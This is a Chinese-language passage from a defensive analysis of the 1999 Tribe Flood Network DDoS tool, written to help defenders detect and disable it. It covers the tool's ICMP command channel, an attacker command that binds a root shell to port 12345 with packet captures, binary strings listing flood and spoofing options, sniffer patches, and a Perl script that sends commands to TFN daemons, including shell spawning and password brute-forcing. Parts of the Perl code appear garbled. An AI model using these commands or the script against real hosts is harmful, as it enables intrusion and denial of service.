TFN客户端通过ICMP_ECHOREPLY包而不是ICMP_ECHO包向TFN守护程序发送命令。这能够防止守护程序所在系统的内核发送ICMP_ECHOREPLY包。而TFN守护程序则在需要时也通过ICMP_ECHOREPLY包响应TFN客户端。TFN使用的ICMP包与正常ICMP包的不同之处在于它发送的命令参数及响应。 在TFN使用的ICMP_ECHOREPLY包的id域中包含了"命令"(16位二进制值),而在数据段中则是ASCII明文方式的任何参数。 以下是某个攻击者执行命令以启动在端口12345上监听的shell: ---------------------------------------------------------------------------- # ./tfn iplist 4 12345 [tribe flood network] (c) 1999 by Mixter [request: bind shell to port 12345] 192.168.0.1: shell bound to port 12345 # ---------------------------------------------------------------------------- 以下是使用"sniffit"监听到的网络通讯: ---------------------------------------------------------------------------- 192.168.0.1 ICMP type: Echo reply .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . 00 . 00 . 64 d D1 . 01 . C8 . 00 . 00 . 31 1 32 2 33 3 34 4 35 5 00 . 10.0.0.1 ICMP type: Echo reply .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . .. . 00 . 00 . 6C l AE . 00 . 7B { 00 . 00 . 73 s 68 h 65 e 6C l 6C l 20 62 b 6F o 75 u 6E n 64 d 20 74 t 6F o 20 70 p 6F o 72 r 74 t 20 31 1 32 2 33 3 34 4 35 5 0A . 00 . ---------------------------------------------------------------------------- 以下是使用"tcpdump"监听到的网络通讯: ---------------------------------------------------------------------------- # tcpdump -lnx -s 1518 icmp tcpdump: listening on eth0 192.168.0.1: icmp: echo reply .... .... .... .... .... .... .... .... .... .... 0000 64d1 01c8 0000 3132 3334 3500 10.0.0.1: icmp: echo reply .... .... .... .... .... .... .... .... .... .... 0000 6cae 007b 0000 7368 656c 6c20 626f 756e 6420 746f 2070 6f72 7420 3132 3334 350a 00 ---------------------------------------------------------------------------- 以下是"tcpdump"和"tcpshow"结合所监听到的内容: ---------------------------------------------------------------------------- Packet 1 ICMP Header Type: echo-reply Checksum: 0x64D1 Id: 0x01C8 Sequence: 0x0000 ICMP Data 12345 ----------------------------------------------------------------- Packet 2 ICMP Header Type: echo-reply Checksum: 0x6CAE Id: 0x007B Sequence: 0x0000 ICMP Data shell bound to port 12345 ---------------------------------------------------------------------------- 能够看到,TFN客户端利用id字段包含命令0x01C8,序列号为0x0000(总是为0),还包含了指定的端口号为"12345",都发送到TFN守护程序端。 TFN守护程序回送给TFN客户端的内容包括id字段中的响应命令(0x007B),序列号为0x0000,和字符串"shell bound to port 12345\n"。这个字符串将和TFN守护程序的IP地址一起显示到TFN客户端的shell中。 防 御 -------- 因为这个工具利用ICMP_ECHOREPLY包进行通讯,除非修改使用ICMP协议的程序,否则很难(但不是不可能)阻止它。Phrack的建议是: 最可靠的方法是禁止所有进入网络的ICMP_ECHO和ICMP_ECHOREPLY通讯。 简单地说,分辨ICMP_ECHO和ICMP_ECHOREPLY包是否正常不是一件容易的事情,特别对于大型网络。 缺陷及弱点 ---------- 如果源代码未必修改,可以通过搜索程序二进制代码中的字符串查找TFN客户端程序和TFN守护程序: ------------------------------------------------------------------------------ # strings - td . . . %d.%d.%d.%d /bin/sh tfn-daemon already %s flooding multiple targets ICMP flood: %s tfn-child SMURF (target@bcast@...): %s UDP flood: %s SYN flood: port %d, multiple targets SYN flood: port %d, %s ready - size: %d spoof: %d %s flood terminated packet size: %d bytes spoof mask: *.*.*.* (%s) spoof mask: 1.*.*.* (%s) spoof mask: 1.1.*.* (%s) spoof mask: 1.1.1.* (%s) spoof test: %s shell bound to port %s . . . [0;35m[tribe flood network] (c) 1999 by [5mMixter ICMP SMURF . . . # strings - tfn . . . %d.%d.%d.%d ERROR reading IP list [1;37m [request: change packet size] [request: change spoofmask] [request: stop and display status] [request: udp flood %s] [request: syn flood [port: %s] %s] [request: icmp flood %s] [request: bind shell to port %s] [request: smurf (target@bcast@...) %s] [0;0m [0m%s: [0;31m [0;34mtimeout [1;34m usage: %s [ip] [port] contains a list of numerical hosts that are ready to flood -1 for spoofmask type (specify 0-3), -2 for packet size, is 0 for stop/status, 1 for udp, 2 for syn, 3 for icmp, 4 to bind a rootshell (specify port) 5 to smurf, first ip is target, further ips are broadcasts [ip] target ip[s], separated by %s if more than one [port] must be given for a syn flood, 0 = RANDOM skipping [0;35m[tribe flood network] (c) 1999 by [5mMixter . . . ------------------------------------------------------------------------------ 最近发现的二进制代码中的字符串表明,多TFN客户端支持(类似Trinoo)、iplist文件加密、ICMP包数据段内容加密等新功能正在或已经加入到该工具中。 最近发现的二进制代码有些使用了"rcp"命令,这样监视"rcp"连接(514/tcp)也许能够较快地发现问题。 由于TFN使用ICMP数据包,很难实时监测出通讯,而且这些数据包往往能直接通过大多数防火墙。象"ngrep"这类程序也不能处理ICMP数据包,所以目前也很难监视ICMP包中的数据段内容。 TFN的一个缺陷是目前为止还没有对ICMP包的源地址进行验证。这样如果命令对应的缺省数值未被改变,只需一个数据包就能探测出一个TFN守护程序。(请参阅附录C中的Perl脚本。) 如果命令对应的各个数据改变了,通过暴力法(发送所有可能的数值组合)仍然有可能使TFN守护程序关闭(id字段是16位,共有64K种组合)。与此同时,对TFN守护程序端机器进行ICMP flood攻击来使其失效,也是一种潜在的可行方法。 附录A:sniffit v0.3.7.beta显示ICMP包数据内容的补丁程序 ----------------------------------------------------------------- --------------------------- cut here ------------------------------- diff -c sniffit.0.3.7.beta.orig/sn_defines.h sniffit.0.3.7.beta/sn_defines.h *** sniffit.0.3.7.beta.orig/sn_defines.h Wed Aug 26 12:21:23 1998 --- sniffit.0.3.7.beta/sn_defines.h Wed Oct 20 10:15:41 1999 *************** *** 126,132 **** #define ICMP_TYPE_3 "Destination unreachable" #define ICMP_TYPE_4 "Source quench" #define ICMP_TYPE_5 "Redirect" ! #define ICMP_TYPE_8 "Echo" #define ICMP_TYPE_11 "Time exceeded" #define ICMP_TYPE_12 "Parameter problem" #define ICMP_TYPE_13 "Timestamp" --- 126,132 ---- #define ICMP_TYPE_3 "Destination unreachable" #define ICMP_TYPE_4 "Source quench" #define ICMP_TYPE_5 "Redirect" ! #define ICMP_TYPE_8 "Echo request" #define ICMP_TYPE_11 "Time exceeded" #define ICMP_TYPE_12 "Parameter problem" #define ICMP_TYPE_13 "Timestamp" *************** *** 134,140 **** #define ICMP_TYPE_15 "Information request" #define ICMP_TYPE_16 "Information reply" #define ICMP_TYPE_17 "Address mask request" ! #define ICMP_TYPE_18 "Adress mask reply" /*** Services (standardised) *******************************************/ #define FTP_DATA_1 20 --- 134,140 ---- #define ICMP_TYPE_15 "Information request" #define ICMP_TYPE_16 "Information reply" #define ICMP_TYPE_17 "Address mask request" ! #define ICMP_TYPE_18 "Address mask reply" /*** Services (standardised) *******************************************/ #define FTP_DATA_1 20 diff -c sniffit.0.3.7.beta.orig/sniffit.0.3.7.c sniffit.0.3.7.beta/sniffit.0.3.7.c *** sniffit.0.3.7.beta.orig/sniffit.0.3.7.c Wed Aug 26 12:21:25 1998 --- sniffit.0.3.7.beta/sniffit.0.3.7.c Wed Oct 20 10:15:49 1999 *************** *** 1333,1339 **** printf ("Unknown ICMP type!\n"); break; } ! printf ("\n"); return; } if (finish < 30) /* nothing yet */ --- 1333,1351 ---- printf ("Unknown ICMP type!\n"); break; } ! total_length = info.IP_len + info.ICMP_len + info.DATA_len; ! n = 0; ! for (i = 0; i < total_length; i++) ! { ! unsigned char c = sp[PROTO_HEAD + i]; 75) ! n = 0, printf ("\n"); ! if (DUMPMODE & 1) ! n += printf (" %02X", c); ! if (DUMPMODE & 2) ! n += printf (" %c", isprint (c) ? c : '.'); ! } ! printf ("\n\n"); return; } if (finish < 30) /* nothing yet */ --------------------------- cut here ------------------------------- 附录B:tcpshow 1.0显示ICMP ECHO包id/序列号的补丁程序 ---------------------------------------------------------------------- --------------------------- cut here ------------------------------- diff -c tcpshow.c.orig tcpshow.c *** tcpshow.c.orig Thu Oct 21 14:12:19 1999 --- tcpshow.c Thu Oct 21 14:22:34 1999 *************** *** 1081,1086 **** --- 1081,1088 ---- uint2 nskipped; uint1 type; char *why; + uint2 echo_id; + uint2 echo_seq; type = getbyte(&pkt); nskipped = sizeof(type); *************** *** 1091,1096 **** --- 1093,1103 ---- /* Must calculate it from the size of the IP datagram - the IP header. */ datalen -= ICMPHDRLEN; + if (type == ECHO_REQ || type == ECHO_REPLY) { + echo_id = getword(&pkt); nskipped += sizeof(cksum); + echo_seq = getword(&pkt); nskipped += sizeof(cksum); + } + why = icmpcode(type, code); if (dataflag) { printf( *************** *** 1113,1118 **** --- 1120,1129 ---- icmptype(type), why? "\n\tBecause:\t\t\t": "", why? why: "" ); printf("\tChecksum:\t\t\t0x%04X\n", cksum); + if (type == ECHO_REQ || type == ECHO_REPLY) { + printf("\tId:\t\t\t\t0x%04X\n", echo_id); + printf("\tSequence:\t\t\t0x%04X\n", ntohs(echo_seq)); + } } return pkt; --------------------------- cut here ------------------------------- 附录C:关闭TFN守护程序的Perl脚本"civilize" ---------------------------------------------------------- --------------------------- cut here ------------------------------- #!/usr/bin/perl # # civilize v. 1.0 # By Dave Dittrich # # Send commands to TFN daemon(s), causing them to do things like # spawn shells, stop floods and report status, etc. Using this program # (and knowledge of the proper daemon "passwords"), you can affect TFN # daemons externally and monitor packets to verify if a daemon is # running, etc. You can also brute force attack the "passwords" by # sending packets until you get the desired reply (or give up.) # # Needs Net::RawIP (http://quake.skif.net/RawIP) # Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z) # # Example: ./civilize [options] host1 [host2 [...]] # # (This code was hacked from the "macof" program, written by # Ian Vitek ) require 'getopts.pl'; use Net::RawIP; require 'netinet/in.ph'; {}}); chop($hostname = `hostname`); Getopts('a:c:f:i:vh'); die "usage: $0 [options] iplist\t-a arg\t\tSend command argument 'arg' (default \"12345\")\t-c val\t\tSend command value 'val' (default 456 - spawn a shell)\t-f from_host\t\t(default:$hostname)\t-i interface \t\tSet sending interface (default:eth0)\t-v\t\t\tVerbose\t-h This help\n" unless ( !$opt_h ); # set default values $opt_i = ($opt_i) ? $opt_i : "eth0"; $opt_a = ($opt_a) ? $opt_a : "12345"; $opt_c = ($opt_c) ? $opt_c : "456"; # choose network card if($opt_e) { $opt_e); } else {ethnew($opt_i); } $s_host = ($opt_h) ? $opt_h : $hostname; if ($ARGV[0]) { open(I,"<$ARGV[0]") || die "could not open file: '$ARGV[0]'"; while () { chop; push(@list,$_); } close(I); } # Put value in network byte order (couldn't get htons() in # "netinet/in.ph" to work. Go figure.) $id = unpack("S", pack("n", $opt_c)); foreach $d_host (@list) { $d_host}, "$opt_a\0"} }); print "sending packet [$opt_c/$opt_a] to $d_host\n" if $opt_v;send; } exit(0);
|
|
|
|
|